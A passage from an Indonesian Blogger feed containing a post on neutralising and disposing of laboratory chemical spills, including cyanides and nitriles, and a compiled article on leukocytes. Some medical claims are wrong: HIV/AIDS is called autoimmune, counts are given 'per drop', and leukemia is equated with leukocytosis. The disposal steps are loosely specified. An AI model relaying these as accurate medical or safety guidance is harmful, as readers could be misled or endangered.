0);"&gt;Ketiga&lt;/span&gt;, pembakaran dalam insenerator. Metoda pembakaran dalam insenerator dapat diterapkan untuk bahan-bahan toksik yang jika dibakar ditempat terbuka akan menghasilkan senyawa-senyawa yang bersifat toksik.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;Keempat&lt;/span&gt;, dikubur didalam tanah dengan perlindungan tertentu agar tidak merembes ke badan air. Metoda ini dapat diterapkan untuk zat-zat padat yang reaktif dan beracun.&lt;br /&gt;Penanganan dan Pemusnahan Bahan Kimia Tumpahan&lt;br /&gt;Disamping metoda-metoda yang telah disebutkan diatas, terdapat beberapa jenis tumpahan bahan kimia sisa yang perlu mendapatkan perlakuan khusus sebelum dibuang keperairan. Bahkan diantaranya perlu dimusnahkan sebelum dibuang. Diantara bahan-bahan kimia tersebut antara lain ;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;1. Tumpahan Asam-asam Anorganik&lt;/span&gt;&lt;br /&gt;Tumpahan asam-asam anorganik seperti HCl, HF, HNO3, H3PO4, H2SO4 haruslah diperlakukan dengan penanganan khusus. Bahan tumpahan tersebut permukaannya ditutup dengan NaHCO3atau campuran NaOH dan Ca(OH)2 dengan perbandingan1:1. Selanjutnya diencerkan dengan air supaya brbentuk bubur dan selanjutnya dibuang kebak pembuangan air limbah.&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;&lt;br /&gt;2.Basa Akali dan Amonia&lt;/span&gt;&lt;br /&gt;Tumpahan basa-basa alkali dan ammonia seperti amonia anhidrat, Ca(OH)2, dan NaOH dapat ditangani dengan mengencerkannya dengan air dan dinetralkan dengan HCl 6 M. Kemudian diserap dengan kain dan dibuang.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;3. Bahan-Bahan Kimia Oksidator&lt;/span&gt;&lt;br /&gt;Tumpahan bahan-bahan kimia oksidator (padat maupun cair) seperti amonium dikromat, amonium perklorat, asam perklorat, dan sejenisnya dicampur dengan reduktor (seperti garam hypo, bisulfit, ferro sulfat) dan ditambahkan sedikit asam sulfat 3 M. selanjutnya campuran tersebut dinetralkan dan dibuang.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;4. Bahan-Bahan Kimia Reduktor&lt;/span&gt;&lt;br /&gt;Tumpahan bahan-bahan kimia reduktor ditutup atau dicampurkan dengan NaHCO3 (reaksi selesai) dan dipindahkan ke suatu wadah.. Selanjutnya kedalam campuran tersebut ditambahkan Ca(OCl)2 secara perlahan-lahan dan air (biarkan reaksi selesai). Setelah reaksi selesai cmpuran diencerkan dan dinetralkan sebelum dibuang ke perairan.&lt;br /&gt;Untuk pemusnahan bahan reduktor (seperti Natrium bisulfit, NaNO2, SO, Na2SO2) dapat dipisahkan antara bentuk gas dan padat. Untuk gas (SO2), alirkan kedalam larutan NaOH atau larutan kalsium hipoklorit. Untu k padatan, campurkan dengan NaOH (1:1) dan ditambahkan air hingga terbentuk slurry. Slurry yang terbentuk ditambahkan kalsium hipoklorit dan air dan dibiarkan selama 2 jam. Selanjutnya dinetralkan dan dibuang ke perairan.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;Sianida dan Nitril&lt;/span&gt;&lt;br /&gt;Tumpahan sianida ditangani dengan menyerap tumpahan tersebut dengan kertas/tissu dan diuapkan dalam lemari asam, dibakar, atau dipindahkan kedalam wadah dan dibasakan dengan NaOH dan diaduk hingga terbentuk slurry. Kemudian ditambahkan ferro sulfat berlebih dan dibiarkan lebh kurang 1 jam dan dibuang keperairan.&lt;br /&gt;Pemusnahan sianida dapat dilakukan dengan cara menambahkan kedalamnya larutan asa dan kalsium hipoklorit berlebih dan dibiarkan 24 jam. Selanjutnya dibuang ke perairan.&lt;br /&gt;Untuk tumpahan nitril, ditambahkan NaOH berlebih dan Ca(OCl)2. setelah satu jam dibuang keperairan. Cuci bekas wadah dengan larutan hipoklorit.&lt;br /&gt;Pemusnahan nitril dilakukan dengan menambahkan kadalamnya NaOH dan alkohol. Setelah 1 jam uapkan alkohol dan ditambahkan larutan basa kalsium hipoklorit. Setelah 24 jam dapat dibuang ke perairan.&lt;br /&gt;&lt;br /&gt;Demikianlah beberapa metoda dalam penanganan dan pemusnahan tumpahan bahan-bahan kimia sisa yang terdapat dilaboratorium sebelum dibuang diperairan. Semoga bermanfaat.&lt;br /&gt;Dikutip dari Yoky Edy Saputra pada 10-12-2008&lt;br /&gt;&lt;br /&gt;   &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-5218510990363409654?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/5218510990363409654/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/pembuangan-dan-penanganan-bahan-kimia.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/5218510990363409654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/5218510990363409654'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2010/02/pembuangan-dan-penanganan-bahan-kimia.html' title='Pembuangan dan Penanganan Bahan Kimia Tumpahan di Laboratorium'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-7372708652611698031</id><published>2010-02-11T06:54:00.000-08:00</published><updated>2010-02-11T07:17:29.581-08:00</updated><title type='text'>Darah Putih (Leukosit)</title><content type='html'>&lt;span style="color: rgb(0, 153, 0);"&gt;Sel darah putih atau Leukosit merupakan " bala tentara" kita. Tugasnya melindungi tubuh agar tahan menghadapi serangan kuman, entah itu virus, bakteri, atau sejenisnya.Pendek kata leukosit berperan penting dalam sistem kekebalan tubuh&lt;/span&gt;.&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Iseng-iseng buka blogger, eh tiba2 terpintas dipikiran tentang leukosit. Awalnya sih karna pernah dengar dari ade tingkat kalau salah satu anggota keluarganya ada yang mengalami masalah pada leukositnya. Rasa Simpati membuat sya tidak bisa tinggal diam, dan akhirnya sya coba buka2 lewat jendela google dan mulai browsing2 seputar informasi tentang tu yang namanya Leukosit. Setelah sya baca2 dan pilah2 dari sekian buannyaknya penjelasan ttg leukosit kmudian sya ringkas dan sya ambil pembahasan2 yang mungkin lebih mendekati untuk masalah sel darah putih yang jumlahnya di bawah normal/kekurangan sel darah putih(Leukopenia), namun ada juga sih skalian yang sya cantumkan juga ketika sel darah putih itu di atas normal (Leukimia).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;akhirnya saya berharap semoga tulisan ini bermanfaat bagi siapa saja yang membacanya, dan buat ade’ dan semua orang yang mempunyai gangguan pada sel darah putihnya saya berdoa semoga cepat pulih kembali dan sehat wal afiat, amin.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Darah Putih (Leukosit)&lt;br /&gt;&lt;br /&gt;Leukosit memiliki bentuk khas, nukleus, sitoplasma dan organel, semuanya bersifat mampu bergerak pada keadaan tertentu. Eritrosit bersifat pasif dan melaksanakan fungsinya dalam pembuluh darah, sedangkan leukosit mampu keluar dari pembuluh darah menuju jaringan dalam menjalankan fungsinya.&lt;br /&gt;Jumlah seluruh leukosit jauh di bawah eritrosit, dan bervariasi tergantung jenis hewannya. Fluktuasi dalam jumlah leukosit pada tiap individu cukup besar pada kondisi tertentu, misalnya: stress, aktivitas fisiologis, gizi, umur, dan lain-lain. Jumlah leukosit yang menyimpang dari keadaan normal mempunyai arti klinik penting untuk evaluasi proses penyakit.&lt;br /&gt;&lt;br /&gt;Lima bentuk leukosit yang berbeda dibagi dalam dua kelompok, yakni granulosit yang memiliki butir khas dan jelas dalam sitoplasma dan agranulosit yang tidak memiliki butir khas dan jelas dalam sitoplasma. Dari diferensiasi penghitungan leukosit dapat ditentukan persentasi normal dari tiap jenis yang ternyata cukup berbeda. Pada anjing, kucing, kuda dan persentasi leukosit neutrofil lebih besar dari limfosit, sedangkan pada ruminansia, limfosit bersifat dominan.&lt;br /&gt;&lt;br /&gt;Granulosit&lt;br /&gt;Ada tiga tipe granulosit yang diberi nama berdasarkan sifat reaksinya terhadap zat warna tertentu. Leukosit eosinofil butirnya bersifat asidofil (berwarna merah dengan eosin). Leukosit basofil butirnya bersifat basofil (ungu), dan leukosit neutrofil butirnya tidak bersifat asidofil maupun basofil. Afinitas terhadap zat warna dari butir leukosit neutrofil bervariasi antara hewan satu dengan yang lain. Karenanya sering disebut dengan istilah heterofil, sebagai pengganti neutrofil, yang menyatakan bahwa butirnya tidak bersifat eosinofil maupun basofil. Lazimnya untuk leukosit neutrofil dipakai istilah khusus, yakni leukosit polimorfonuklear (PMN atau polymorphonuclear).&lt;br /&gt;Leukosit Neutrofil. Leukosit ini berdiameter 10 sampai 12 µm, memiliki butir halus dalam sitoplasma dan inti berglambir. Kromatin inti pekat dan mengelompok. Benang kromatin antarglambir jelas terdapat pada manusia dan ruminansia, kadang-kadang tampak pada anjing. Karena konstriksi inti tidak lengkap atau sempurna, maka sulit menentukan gelambir secara pasti pada leukosit neutrofil pada hewan, kecuali ruminansia. Di antara hewan peliharaan, jumlah gelambir pada leukosit neutrofil domba paling banyak.&lt;br /&gt;Leukosit tua memiliki gelambir lebih banyak atau jelas dari yang muda. Karenanya bila leukosit neutrofil memiliki inti berbentuk V, U, atau S tanpa konstriksi jelas, dianggap sebagai leukosit muda. Pada kasus penyakit bakteri, lazimnya jumlah leukosit neutrofil dalam darah meningkat dan tampak pula leukosit muda.&lt;br /&gt;Hal ini disebabkan sumsum tulang merah perlu melepas leukosit muda untuk melawan infeksi. Secara klinik, bila jumlah leukosit muda meningkat dalam aliran darah disebut “bergeser ke kiri” yang penting untuk ramalan penyakit. Sebaliknya, bila jumlah leukosit neutrofil abnormal dengan hipersegmentasi disebut “bergeser ke kanan” pertanda adanya infeksi kronik atau stress.&lt;br /&gt;&lt;br /&gt;Pada hewan betina, leukosit memiliki apendiks jelas pada intinya yang disebut Barr. Kromatin kelamin ini kecil (1,5 µm) bertaut pada gelambir utama melalui benang kromatin dan merupakan ciri khas bagi hewan betina. Tetapi khusus pada sapi agak sulit ditentukan adanya badan Barr, karena kromatin yang pekat sering menutupinya. Badan Barr atau kromatin kelamin ini dipakai untuk menentukan jenis kelamin betina pada hewan yang mengalami kelainan kelenjar endoktrin (endoctrine dysfunction) atau anomali pada kromosom.&lt;br /&gt;Sitoplasma leukosit beraspek kelabu pucat, mengandung butir halus berwarna ungu, dan besarnya tidak merata. Dari berbagai hewan peliharaan, anjing memiliki butir paling kecil, sehingga hampir tidak tampak, sedangkan pada kambing butirnya paling jelas dan mengambil warna cukup kuat.&lt;br /&gt;&lt;br /&gt;Dengan mikroskop elektron, leukosit neutrofil kadang-kadang menunjukkan mitokondria jelas, sedikit poliribosom dan butir glikogen. Butir-butir spesifik relatif kecil dan menyebar.&lt;br /&gt;Pada perkembangan dini, butir-butir azurofil lebih awal terbentuk dan disebut butir primer. Pembentukan butir ini terhenti dengan munculnya butir skunder atau butir spesifik. Karenanya jumlah butir primer berkurang (50%) pada mitosis berikutnya, sehingga pada sel dewasa hanya tinggal kira-kira 10 sampai 20% butir sitoplasma.&lt;br /&gt;Sebaliknya butir spesifik menonjol, karena selalu terbentuk pada tiap mitosis. Butir spesifik mengandung lisozim suatu bakterisida, karena enzim ini akan menghidrolisis glikosida yang terdapat pada dinding bakteri. Komponen penting lain adalah butir spesifik laktoferin, suatu protein yang berikatan bakterisida terhadap bakteri yang memerlukan zat besi. Laktoferin dikenal sebagai penghambat produksi leukosit neutrofil, karenanya aktivitas khusus merupakan hasil putaran umpan balik dalam produksi leukosit neutrofil. Butir azurofil mengandung enzim hidrolitik, lisozim, dan mieloperoksidase yang menjadi bakterisida bila kompleks dengan H2O2 melepaskan oksigen aktif. Kedua macam butir bekerja sama dalam menghancurkan benda asing yang difagositosis.&lt;br /&gt;&lt;br /&gt;Sebagai respons terhadap infeksi, leukosit neutrofil mampu keluar dari pembuluh darah menuju daerah infeksi untuk membunuh bakteri dan membersihkan pecahan jaringan. Pada saat yang sama, sumsum tulang merah dirangsang untuk melepas lebih banyak leukosit neutrofil dalam aliran darah, dan terjadilah leukositosis yang ditandai dengan peningkatan leukosit muda. Leukosit neutrofil dikenal sebagai lini pertahanan pertama (first line of defense). Jangka hidupnya dalam aliran darah kira-kira lima hari.&lt;br /&gt;Leukosit Eosinofil. Jumlah dalam aliran darah berkisar antara 2 sampai 8% dari jumlah leukosit, berdiameter 10 – 15 µm. Inti bergelambir dua, dikitari butir-butir asidofil yang cukup besar berukuran 0,5 sampai 1,0 µm dan jangka hidupnya 3 sampai 5 hari. Hubungan antar-dua gelambir sering tertutup oleh butir sekreta sehingga tidak jelas.&lt;br /&gt;Penelitian dengan mikrograf elektron pada leukosit eosinofil menunjukkan adanya apparatus golgi dengan gelembung pipih dan gelembung kecil-kecil berisi materi sekreta. Butir spesifik ada dua macam; butir eusinofil pada kuda dan sapi bersifat homogen, sedangkan pada anjing, kucing dan kambing, butir eosinofil memiliki selaput dan kristaloid yang memiliki pusat lamina pekat elektron dikitari matriks homogen yang kurang pekat.&lt;br /&gt;Leukosit eosinofil berperan aktif dalam mengatur alergi akut dan proses pembarahan, mengatur investasi parasit, dan memfagositose bakteri, antigen-antibodi kompleks, mikoplasma dan ragi. Juga mengandung histaminase, yang mengaktifkan histamin dan pelepasan serotonin dari sel tertentu, juga melepas zinc yang menghalangi agregasi trombosit dan migrasi makrofag. Ada beberapa indikasi bahwa leukosit eosinofil dapat memperbesar koagulasi dan fibrinolisis dan menghambat granulopoiesis.&lt;br /&gt;&lt;br /&gt;Agranulosit&lt;br /&gt;Dua tipe agranulosit, yaitu limposit dan monosit tidak memiliki butir sitoplasmik spesifik, tetapi sering mengandung butir azurofil yang tidak spesifik. Agranulosit selanjutnya ditandai dengan adanya inti lonjong, bulat dengan lekuk khas.&lt;br /&gt;Limposit. Persentase limposit pada darah ferifer tergantung pada spesiesnya. Pada anjing, kucing,dan kuda antara 20 sampai 40%, pada ruminansia antara 60 sampai 70%. Pada sediaan ulas dan diwarnai dapat dibedakan adanya limposit besar dan kecil. Limposit besar adalah bentuk yang belum dewasa, dan sering disebut prolymphocytes) atau sel “blas” besar.&lt;br /&gt;Limposit menunjukkan ketidaksamaan dalam bentuk maupun fungsinya, karena sifatnya yang plastik dan mampu bergerak serta dapat mengubah bentuk dan ukurannya. Sifat limposit mampu menerobos jaringan atau organ tubuh lunak, karena menyediakan zat kebal untuk pertahanan tubuh. Limfosit kecil berdiameter 6 sampai 9 µm, inti besar dan kuat mengambil zat warna, dikitari sedikit sitoplasma yang berwarna biru pucat. Lazimnya inti memiliki sedikit lekuk pada satu sisi. Pada sediaan ulas, inti begitu gelap sehingga nukleolus tidak tampak. Sitoplasma yang sedikit, mengandung banyak poliribosom dan sedikit mitokondria. Bila butir azurofil ada, lazimnya tampak di daerah lekuk inti.&lt;br /&gt;Limfosit besar, berdiameter 12 sampai 15 µm, memiliki lebih banyak sitoplasma, dan inti lebih besar dan sedikit pucat dibandingkan dengan limposit kecil. Butir azurofil tampak di daerah lekuk ini dn mengujian dengan mikroskop elektron menunjukkan sepasang sentriol yang dikitari oleh apparatus golgi. Limfosit besar memiliki apparatus golgi lebih jelas, nukleolus serta mitokondria lebih besar.&lt;br /&gt;&lt;br /&gt;MONOSIT.&lt;br /&gt;Monosit adalah leukosit terbesar yang berdiameter 15 sampai 20 µm dan berjumlah 3 sampai 9% dari seluruh sel darah putih. Terdapat kesulitan dalam identifikasi monosit dengan adanya bentuk transisi antara limposit kecil dan besar, karena terdapat kemiripan satu sama lain. keadaan ini jelas bila mempelajari sediaan ulas darah sapi. Uraian tentang bentuk transisi akan diberikan pada pembahasan tiap spesies yang berbeda.&lt;br /&gt;Sitoplasma monosit lebih banyak dari limfosit, dan berwarna biru abu-abu pucat. Sering tampak adanya butir azurofil halus seperti debu. Inti berbentuk lonjong , seperti ginjal atau mirip tapal kuda, jelasnya memiliki lekuk cukup dalam. Kromatin inti mengambil warna lebih pucat dari limfosit. Inti memiliki satu sampai tiga nukleus, tetapi tidak tampak pada sediaan ulas yang diwarnai.&lt;br /&gt;&lt;br /&gt;Monosit darah tidak pernah mencapai dewasa penuh sampai bermigrasi ke luar pembuluh darah masuk jaringan। Selanjutnya dalam jaringan menjadi makrofag tetap, seperti pada sinusoid hati, sumsum tulang, alveoli paru-paru, dan jaringan limfoid. Sering terletak berdekatan dengan endotel pembuluh darah. Dalam jaringan limfoid sumsum tulang dan sinusoid hati, makrofag tetap lazimnya melekat pada penjuluran dendritik dari sel retikuler.&lt;br /&gt;http://www.rafani.co.cc/2009/05/leukosit.html&lt;br /&gt;&lt;br /&gt;Leukosit adalah butir darah putih yang berfungsi sebagai penyerang agen asing yang masih ke tubuh, baik yang bersifat biologik (hidup) maupun non-biologik (sat / bahan lain yang tanpa kehidupan). Leukosit menyerang berdasarkan 'pengalaman yang terpateri' (memori leukosit-limfosit). Bila jumlahnya kurang dan apalagi bila kualitas / aktivitasnya tidak baik, maka pertahanan tubuh jadi lemah, mudah terkena penyakit. Hal ini tentunya akan berbahaya. Penyakit akibat infeksi kuman atau virus akan cepat menjalar dan merusak sel / jaringan tubuh dan ini kalau berlanjut akan berakibat fatal. Demikian penjelasan saya, semoga bermanfaat.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(204, 0, 0);font-size:130%;" &gt;BILA LEUKOSIT SUSUT ATAU MELEJIT...&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Sel darah putih atau Leukosit merupakan " bala tentara" kita. Tugasnya melindungi tubuh agar tahan menghadapi serangan kuman, entah itu virus, bakteri, atau sejenisnya.Pendek kata leukosit berperan penting dalam sistem kekebalan tubuh.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Dalam melakukan aktivitas sehari-hari manusia tidak luput dari serangan berbagai macam kuman pembawa bibit penyakit. Beruntung, tidak setiap serangan tersebut bisa merobohkan tubuh, berkat pasukan tempur yang selalu siap melawan kuman. Pasukan tempur itu adalah sel darah putih yang dikenal dengan sebutan leukosit.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Sebagai gambaran, luka akibat goresan merupakan pintu masuk bagi kuman. Nah, di daerah luka itulah sel darah putih akan berkumpul dan berperang melawan kuman hingga tuntas. Bagian tubuh yang luka seringkali tampak merah dan membengkak serta seringkali mengeluarkan nanah. Itu merupakan efek dari peperangan kuman melawan sel darah putih.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Jika sel darah putih menang, kuman akan hilang dan tubuh kembali normal. Sebaliknya, jika sel darah putih kalah, diperlukan obat-obatan dari luar untuk membantu sel darah putih melawan kuman. Bisa dibayangkan betapa pentingnya sel darah putih dalam tubuh kita.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;GANGGUAN SUMSUM TULANG&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Sebagian orang pernah mengalami kekurangan sel darah putih atau disebut Leukopenia. Kondisi ini terjadi bila jumlah sel darah putih kurang dari 5.000 dalam setiap tetes darah. Manusia normalnya memiliki sel darah putih berjumlah 5.000 hingga 10.000 dalam setiap tetes darahnya.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Leukopenia bisa disebabkan sumsum tulang mengalami gangguam. Sum-sum tulang merupakan produsen sel darah putih. Jika sum-sum tulang bermasalah, otomatis jumlah sel darah putih akan mengalami gangguan juga.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Leukopenia bisa juga disebabkan oleh infeksi. Infeksi dari kuman atau bakteri bisa menyebabkan penurunan jumlah sel darah putih. Kurangnya sel darah putih juga bisa terjadi karena adanya penyakit autoimun seperti HIV/AIDS atau lupus.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Pengaruh obat-obatan seperti efek dari kemoterapi pun bisa menyebabkan terjadinya leukopenia.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Beberapa jenis obat yang digunakan pada kemoterapi bisa merusak sum-sum tulang, sehingga produksi sel darah merah menurun. Meski demikian, kondisi ini tidak selalu terjadi pada setiap orang, bergantung kondisi masing-masing pasien.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Namun, keadaan ini tidak berlangsung lama pada pasien yang menjalani kemoterapi. Biasanya jumlah sel darah putih akan menurun selama beberapa hari. Ini disebabkan oleh efek obat kemoterapi, tetapi kemudian leukosit akan kembali pada jumlah normal lagi.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;KANKER DARAH&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Penyebab lain dari leukopenia adalah kanker, terutama kanker darah. Banyak orang beranggapan bahwa kanker akan memicu jumlah leukosit. Padahal kanker juga bisa menurunkan kadar leukosit. Apalagi jika kanker tersebut sudah menyerang sumsum tulang dan menyebar ke seluruh tubuh. Penyebab ini yang seringkali luput atau menipu perhatian dokter.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Kekurangan sel darah putih bisa menyebabkan seseorang rentan terserang penyakit ataupun infeksi. Bahkan penyakit ringan seperti flu saja bisa membuat pasien leukopenia menderita hebat.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Ini diakibatkan kurangnya pasukan tempur dalam tubuh. Penyakit yang seharusnya bisa dengan mudah ditangani oleh tubuh menjadi sulit sembuh.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;ATASI PENYEBABNYA&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Leukopenia seringkali diketahui ketika pasien memeriksakan diri ke dokter karena keluhan penyakit. Penyakit yang dialami itu kerap kali merupakan gejala dari leukopenia.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Cara tercepat untuk mengetahuinya adalah dengan melakukan tes jumlah darah putih. Kemudian dokter akan memeriksa penyebab terjadinya penurunan jumlah sel darah putih. Jika sudah diketahui, barulah bisa ditentukan cara pengobatannya.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Untuk saat ini cara paling efektif untuk menangani leukopenia adalah dengan mengatasi penyebabnya. Jika leukopenia disebabkan oleh infeksi, obati saja infeksinya. Jika disebabkan oleh kanker, obatilah kankernya.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Belu ada pola makan atau diet yang berhubungan untuk menambah jumlah sel darah putih. Kalau leukopenia dikarenakan kanker, pola makan tidak bisa menaikkan jumlah leukosit. Karena itu mengonsumsi makanan sehat dan bergizi seimbang lebih untuk membantu proses pemulihan.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;PENYEBAB LEUKOSIT TURUN NAIK&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Kadar sel darah putih atau leukosit yang terlalu tinggi atau leukositosis, bisa mengindikasikan:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Naiknya produksi leukosit guna melawan infeksi.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Reaksi obat-obatan.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Penyakit pada sumsum tulang, sehingga produksi leukosit menjadi abnormal.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Gangguan sistem imun.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Pemicu spesifik yang meningkatkan kadar sel darah putih, yaitu:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Leukemia limfositik akut/ kronis.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Leukemia myelogenous akut/ kronis.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Alergi parah.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Obat kortikosteroid dan epinefrin.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Campak.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Infeksi bakteri.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Infeksi virus&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Rematoid artritis.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Penyakit TBC.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Batuk rejan.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Kerusakan jaringan, misalnya akibat luka bakar.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Stress psikis dan fisik.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Merokok.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Sementara kadar sel darah putih bisa juga turun di bawah normal ( kurang dari 3.500 sel per mikroliter darah) karena :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Infeksi virus.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Kelainan kongenital yang terkait dengan fungsi sumsum tulang.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Kanker.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Gangguan autoimun.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Obat-obatan yang merusak sel darah putih.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Pemicu spesifik yang menurunkan leukosit :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Alergi berat.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Anemia aplastis.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Kemoterapi.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Obat-obatan antibiotik, diuretik, dan prednison.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* HIV/AIDS.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Hipertiroid.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Penyakit infeksi.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Penyakit lupus&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Terapi radiasi.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Rematoid artritis.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;* Kekurangan vitamin.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;BELUM TENTU LEUKEMIA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Sel darah putih atau leukosit bertugas melindungi tubuh dari serangan bakteri dan virus. Jumlah sel darah putih akan meningkat jika tubuh diserang kuman. Ini dilakukan untuk mengimbangi jumlah kuman yang masuk. Kondisi jumlah leukosit di atas batas normal disebut leukemia atau leukositosis.&lt;/span&gt;&lt;br 